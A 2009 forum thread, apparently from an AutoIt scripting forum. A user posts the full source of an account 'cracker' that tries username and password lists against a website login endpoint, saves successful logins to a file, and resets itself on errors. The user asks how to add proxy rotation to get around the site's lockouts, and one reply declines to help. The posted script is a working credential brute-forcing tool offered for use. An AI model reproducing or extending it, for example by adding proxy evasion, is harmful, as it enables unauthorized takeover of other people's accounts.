appie9294 Posted February 4, 2009 Share Posted February 4, 2009 Hi when I Have This Program But I Want To Fix It with Ip Proxies If that Works... And This Source Is Proxieless so when i run it and the websit blocks it u have to wait 6 mins. anyone can help me? Here Is The Source With the Problem Its A Cracker And I Want To Make It With IpProxies Anyone Help? Source: #Region ;**** Directives created by AutoIt3Wrapper_GUI **** #AutoIt3Wrapper_icon=orbz-air.ico #AutoIt3Wrapper_UseAnsi=y #AutoIt3Wrapper_Compression=4 #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI **** #include <Array.au3> #include <File.au3> #include <INet.au3> $oShell = ObjCreate("shell.application") $num = $CmdLine[1] Global $oHTTP = ObjCreate("winhttp.winhttprequest.5.1") Local $usernames, $passwords, $proxies _FileReadToArray(@ScriptDir & "/tempdir/usernames" & $num & ".txt", $usernames) _FileReadToArray(@ScriptDir & "/passwords.txt", $passwords) _ArrayDelete($usernames, 0) _ArrayDelete($passwords, 0) Print("Thread " & $num & " has started.") Local $cUser = 0, $cPass = 0, $error = 0 While 1 If ProcessExists("Cracker.exe") = 0 Then Exit EndIf If UBound($passwords) = $cPass Then $cPass = 0 $cUser += 1 If UBound($usernames) = $cUser Then ExitLoop EndIf EndIf Switch CrackAccount($usernames[$cUser], $passwords[$cPass]) Case -1 Print("#" & $num & " An Unknown Error Occurred") $Error += 1 If $error = 5 Then Refresh() $error = 0 EndIf Case 0 Print("#" & $num & " Invalid - "&$usernames[$cUser]&":"&$passwords[$cPass]) $cPass += 1 Case 1 Print("#" & $num & " Crack - "&$usernames[$cUser]&":"&$passwords[$cPass]) FileWriteLine(@ScriptDir & "/Cracks.txt",$usernames[$cUser]&":"&$passwords[$cPass]) Refresh() $cPass = 0 $cUser += 1 EndSwitch WEnd Print("Thread " & $num & " has finished cracking.") Func CrackAccount($vUser, $vPass) $source = _HTTPRequest($oHTTP, "POST", "https://XXX.XXX.XXX/login.ws", "username=" & $vUser & "&password=" & $vPass ) Select Case StringInStr($source, "Invalid") Return 0 Case StringInStr($source, "successful") Return 1 Case Else Return -1 EndSelect EndFunc Func Print($oData) ConsoleWrite($oData & @CRLF) EndFunc ;==>Print Func _HTTPRequest($Wnd, $oMethod, $oURL, $oData = "") $Wnd.Open($oMethod, $oURL, False) If $oMethod = "POST" Then $Wnd.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded") $Wnd.Send($oData) Return $Wnd.ResponseText EndFunc Func Refresh() $oShell = ObjCreate("shell.application") $oHTTP = ObjCreate("winhttp.winhttprequest.5.1") EndFunc end Source i am very new to this and i dont know how to fix it so it uses proxies... so if anyone know's how to fix it please tell meh AttachMents: Cracker.au3 CrackThread.au3 Link to comment Share on other sites More sharing options...
UFWU Posted February 4, 2009 Share Posted February 4, 2009 you wrote that code then below it you write im new to this well i have no clue what that was ment to do but im not testing hope someone can help u but u might need to add more to the description of this problem. Link to comment Share on other sites More sharing options...
appie9294 Posted February 4, 2009 Author Share Posted February 4, 2009 (edited) you wrote that code then below it you write im new to this well i have no clue what that was ment to do but im not testing hope someone can help u but u might need to add more to the description of this problem.i did i want help with proxies and its a proxyless cracker so..i think that is enough information Edited February 4, 2009 by appie9294 Link to comment Share on other sites More sharing options...
UFWU Posted February 4, 2009 Share Posted February 4, 2009 i did i want help with proxies and its a proxyless cracker so..i think that is enough information lol ok i don't no enough about proxies let alone proxy script but i'm sure some1 on this forum does, uber l337 users should check the most recent topics and help:P Link to comment Share on other sites More sharing options...
appie9294 Posted February 4, 2009 Author Share Posted February 4, 2009 (edited) BUMP Edited February 4, 2009 by appie9294 Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now